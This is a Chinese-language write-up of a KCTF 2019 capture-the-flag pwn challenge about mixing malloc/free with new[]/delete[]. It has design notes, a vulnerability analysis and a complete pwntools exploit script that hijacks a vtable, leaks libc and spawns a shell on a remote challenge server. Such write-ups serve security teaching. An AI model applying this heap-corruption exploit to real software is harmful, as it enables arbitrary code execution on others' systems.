2019KCTF 晉級賽Q1 | 第九題點評及解題思路
還在糾結是學C還是C++嗎?還在糾結是C好,還是C++好嗎?
同為優秀的程式語言,C和C++各自收割了一大批粉絲。但是,如果把C和C++混用,會出現什麼樣的效果呢?
今天就讓我們探索一下把C與C++的內容分配混用的第八題。
本道題目共有23支隊伍解答出來,最快的7HxzZ戰隊,用時7個半小時左右,在解題速度上遠遠甩開其他隊伍。
戰隊成員:holing
個人主頁:https://bbs.pediy.com/user-742286.htm
個人簡介:英國留學生,計算機系。什麼都學一點,電腦保安方向會的稍微更多,逆向和pwn都會一點。經常參加ctftime上的高質量比賽,雖然每次都做不出幾題,不過能學到很多東西。今年暑假畢業,正在尋找漏洞挖掘方向的實習。
《C與C++》這道題主要關注C語言中的malloc和free函式與C++中的new[],delete[]的混用可能導致的安全問題,思路比較新穎,要求參賽者對程式語言與逆向有一定程度的理解。
本題漏洞比較新穎:malloc,free,new[],delete[]的混用。
起因是我之前在知乎回答過的一個問題在C++裡是怎麼實現delete[]的,寫完之後我就想,因為記憶體佈局並不一樣(delete[]有一個記錄大小的header),所以如果把C與C++的記憶體分配混用,是否能導致任意程式碼執行
然後拖了很久,終於在這次比賽做出了這道題。本來我是想直接用new char[]的,但是發現對於基本型別,delete[]和free行為完全一致,具體可以跟一下跟進delete[],會發現幾個got表跳轉跳到了free。原因是基本型別不需要在delete[]的時候呼叫解構函式。
然後我就試著寫了一個有解構函式的類,一開始不是虛解構函式。我一開始的利用思路是利用house of spirit來把C++ object array的size當作堆塊的chunk free掉,或者把prev_size當作size free掉。但是仔細一想這個+8 -8一定會導致記憶體不對齊所以這樣釋放一定會abort。雖然可以過載new和delete強制讓他對齊,但是這不美觀,有種為了pwn而寫程式的感覺了,而我不喜歡這種題目。
所以就決定加了一個虛解構函式,可以在delete一個malloc出來的array的時候能夠實現虛表劫持。但是搞了半天發現沒法leak,所以自己加了一個leak的後門,這個逆向menu函式的時候就能發現,所以不guessy。如果有哪個師傅能不用這個後門做出來請務必分享一下方法讓我這個菜鳥學習一下。
簡單起見PIE也沒開,所以最後就基本已經很簡單了:首先malloc然後直接free第一次讓我能控制堆中的某些資料,因為free的時候不會清空記憶體資料(本來在delete[]裡是會的,在解構函式里清0了buffer,但是編譯器給我最佳化掉了),然後兩次malloc使得第二次malloc能夠讓虛表夠到我能控制的記憶體,最後delete[]呼叫已經被劫持的虛解構函式。
至於呼叫什麼,name一開始放main和leak後門,然後先呼叫leak後門,再呼叫回main,然後name改成one gadget,然後呼叫one gadget。這裡可能要注意,因為解構函式呼叫是從後往前呼叫的,所以先呼叫的要放在後面。
本題解題思路由看雪論壇 奈沙夜影 提供
程式分析
程式邏輯比較簡單,可以申請和釋放記憶體,並且實現了c和cpp的兩種記憶體分配方法,如下:
malloc –> free
new –> delet
分析c和cpp的實現儲存方式可以發現,儲存字串時,是按照16位元組進行劃分的,每一段進行儲存。如下:
cpp:
其中heap pos是每一個堆記憶體塊的位置,mem pos是申請記憶體時返回的位置,pointer是程式中儲存資料用到的位置。
在釋放記憶體時,如果呼叫free,直接釋放記憶體即可,如下:
如果呼叫delete,會將指標往前移8個位元組,然後獲取str塊的count,然後將其所有塊中的虛表中的release函式呼叫一次,如下:
漏洞點
透過malloc申請的記憶體,透過delete來釋放,會按照delete的規則來進行,從而實現了c和cpp的混用,把c中的堆塊size當成cpp的塊數,從而依次執行其中虛表的release函式,從而實現了函式控制流劫持。
利用方式
在設定name來可以佈置虛表,寫入兩個函式,在release的時候,實現呼叫,由於洩露和佈置虛表至少需要兩次輸入,應該可以在佈置虛表的時候把main函式放在第二個虛表的位置,從而實現多次利用漏洞,從而實現多次利用。
Name的內容設定為:
p64(main_func)+ p64(target_func)
虛表vtable有多個,從後往前執行,其內容設定為:
Vtable(n-1): p64(name_addr)
Vtable(n): p64(name_addr+8)
這樣,呼叫虛表函式,依次執行的函式就為:target_func,main_func
其中,洩露libc地址的函式如下:
透過puts的地址可以得到libc基址,從而計算出one_gadget地址,拿到shell,具體見利用程式碼。
利用程式碼
from pwn import * def show_debug_info(flag = True): global show_info_sign if flag == True: #context.log_level = 'DEBUG' show_info_sign = True else: #context.log_level = 'info' show_info_sign = False def d2v_x64(data): return u64(data[:8].ljust(8, '\x00')) def d2v_x32(data): return u32(data[:4].ljust(4, '\x00')) def expect_data(io_or_data, b_str = None, e_str = None): if type(io_or_data) != str: t_io = io_or_data if b_str != None and b_str != "": recvuntil(t_io, b_str) data = recvuntil(t_io, e_str)[:-len(e_str)] else: if b_str == None or b_str == "": b_pos = 0 else: t_data = io_or_data b_pos = t_data.find(b_str) if b_pos == -1: return "" b_pos += len(b_str) if e_str == None or e_str == "": data = t_data[b_pos:] else: e_pos = t_data.find(e_str, b_pos) if e_pos == -1: return "" data = t_data[b_pos:e_pos] return data import sys def show_echo(data): global show_info_sign if show_info_sign: sys.stdout.write(data) def recv(io, size): data = io.recv(size) show_echo(data) return data def recvuntil(io, info): data = io.recvuntil(info) show_echo(data) return data def send(io, data): io.send(data) show_echo(data) def sendline(io, data): send(io, data + "\n") def rd_wr_str(io, info, buff): #io.recvuntil(info, timeout = 2) #io.send(buff) data = recvuntil(io, info) send(io, buff) return data def rd_wr_int(io, info, val): return rd_wr_str(io, info, str(val) + "\n") def r_w(io, info, data): if type(data) == int: return rd_wr_int(io, info, data) else: return rd_wr_str(io, info, data) def set_context(): binary_elf = ELF(binary_path) context(arch = binary_elf.arch, os = 'linux', endian = binary_elf.endian) import commands def do_command(cmd_line): (status, output) = commands.getstatusoutput(cmd_line) return output global_pid_int = -1 def gdb_attach(io, break_list = [], is_pie = False, code_base = 0, gdbscript = ""): if is_local: set_pid(io) if is_pie == True: if code_base == 0: set_pid(io) data = do_command("cat /proc/%d/maps"%global_pid_int) code_base = int(data.split("\n")[0].split("-")[0], 16) #gdbscript = "" for item in break_list: gdbscript += "b *0x%x\n"%(item + code_base) gdbscript += "c\n" gdb.attach(global_pid_int, gdbscript = gdbscript) def set_pid(io): global global_pid_int if global_pid_int == -1: if is_local: """ data = do_command("ps -aux | grep -E '%s$'"%(binary_path.replace("./", ""))).strip().split("\n")[-1] #print "-"*0x10 #print repr(data) items = data.split(" ")[1:] global_pid_int = 0 i = 0 while len(items[i]) == 0: i += 1 global_pid_int = int(items[i]) #""" global_pid_int = pidof(io)[0] def gdb_hint(io, info = ""): if info != "": print info if is_local: set_pid(io) raw_input("----attach pidof '%d', press enter to continue......----"%global_pid_int) if info != "": print "pass", info def gdb_hint(io, info = ""): if info != "": print info if is_local: raw_input("----attach pidof '%d', press enter to continue......----"%pidof(io)[0]) if info != "": print "pass", info def get_io(target): if is_local: io = process(target, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path}) #io = process(target, shell = True, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path}) else: io = remote(target[0], target[1]) return io def r_w(io, info, data): if type(data) == int: rd_wr_int(io, info, data) else: rd_wr_str(io, info, data) def m_c(io, choice, prompt = ">> "): r_w(io, prompt, choice) def set_item(io, choice, prompt = ["?\n"]): r_w(io, prompt, choice) def malloc(io, size, data_list): m_c(io, 1) r_w(io, "string\n", size) recvuntil(io, "string\n") for item in data_list: send(io, item) def free(io, idx): m_c(io, 2) r_w(io, "string\n", idx) def new(io, size, data_list): m_c(io, 3) r_w(io, "string\n", size) recvuntil(io, "string\n") for item in data_list: send(io, item) def delete(io, idx): m_c(io, 4) r_w(io, "string\n", idx) def pwn(io): #offset info if is_local: #local offset_system = 0x0 offset_binsh = 0x0 else: #remote offset_system = 0x0 offset_binsh = 0x0 leak_func = 0x400E10 read_buff = 0x400d00 name_addr = 0x602328 main_addr = 0x4009A0 #io.interactive() name = "" name += p64(main_addr) name += p64(leak_func) r_w(io, ": ", name[:-1]) payload = [] payload.append("111\n") malloc(io, 1, payload) payload = [] payload.append("222\n") malloc(io, 5*0x10, payload) payload = [] payload.append("333\n") malloc(io, 20*0x10, payload) payload = [] payload.append(p64(name_addr) + '4'*7) payload.append(p64(name_addr+8) + '-'*7) payload.append("4444\n") malloc(io, 3*0x10, payload) #gdb_attach(io, [0x400DB8]) delete(io, 0) data = recvuntil(io, "\n") puts_addr = int(data, 16) print hex(puts_addr) libc_addr = puts_addr - 0x6f690 name = "" name += p64(main_addr) name += p64(libc_addr + 0xf02a4) r_w(io, ": ", name[:-1]) payload = [] payload.append("111\n") malloc(io, 1, payload) payload = [] payload.append("222\n") malloc(io, 5*0x10, payload) payload = [] payload.append("333\n") malloc(io, 20*0x10, payload) payload = [] payload.append(p64(name_addr) + '4'*7) payload.append(p64(name_addr+8) + '-'*7) payload.append("4444\n") malloc(io, 3*0x10, payload) #gdb_attach(io, [0x400DD2]) delete(io, 0) #data = recvuntil(io, "\n") #puts_addr = int(data, 16) #print hex(puts_addr) io.interactive() #io.recvuntil() #payload = "" #io.sendline(payload) #io.interactive() #print proc. pass is_local = True is_local = False binary_path = "./candcpp" libc_file_path = "" libc_file_path = "libc-2.23.so" ip, port = "", 0 items = "154.8.222.144 9999".split(" ") ip = items[0] port = int(items[1]) show_info_sign = True if is_local: # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING'] show_debug_info(True) target = binary_path else: show_debug_info(False) target = (ip, port) io = get_io(target) pwn(io)
相關文章
- 2019KCTF 晉級賽Q1 | 第十題點評及解題思路2019-04-08
- 2019 KCTF 晉級賽Q1 | 第三題點評及解題思路2019-03-28
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第九題點評及解析思路2017-11-13
- 2020 KCTF秋季賽 | 第一題點評及解題思路2020-11-20
- 2020 KCTF秋季賽 | 第四題點評及解題思路2020-11-24
- 看雪.紐盾 KCTF 2019 Q3 | 第九題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路2019-07-04
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第二題點評及解析思路2017-10-28
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第三題點評及解析思路2017-10-30
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路2017-11-07
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第八題點評及解析思路2017-11-09
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第五題點評及解析思路2017-11-03
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第四題點評及解析思路2017-11-02
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第六題點評及解析思路2017-11-06
- 看雪CTF.TSRC 2018 團隊賽 第九題『諜戰』 解題思路2018-12-19
- 看雪·深信服 2021 KCTF 春季賽 | 第九題設計思路及解析2021-05-28
- 看雪·眾安 2021 KCTF 秋季賽 | 第九題設計思路及解析2021-12-09
- 看雪.WiFi萬能鑰匙 CTF 2017第十題 點評及解題思路2017-06-28WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第五題 點評及解題思路2017-06-28WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第四題 點評及解題思路2017-06-29WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第三題 點評及解題思路2017-06-29WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第七題 點評及解題思路2017-06-22WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第八題 點評及解題思路2017-06-22WiFi
- 2020 KCTF秋季賽 | 第二題設計及解題思路2020-11-23
- 2020 KCTF秋季賽 | 第五題設計及解題思路2020-11-30
- 看雪.紐盾 KCTF 2019 Q3 | 第一題點評及解題思路2019-09-25
- 看雪.紐盾 KCTF 2019 Q3 | 第四題點評及解題思路2019-09-29
- 看雪.紐盾 KCTF 2019 Q3 | 第七題點評及解題思路2019-09-30
- 看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第八題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第十題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q2 | 第十題點評及解題思路2019-07-05
- 看雪.紐盾 KCTF 2019 Q2 | 第一題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第二題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第三題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第五題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第七題點評及解題思路2019-07-02
- 看雪.紐盾 KCTF 2019 Q2 | 第八題點評及解題思路2019-07-03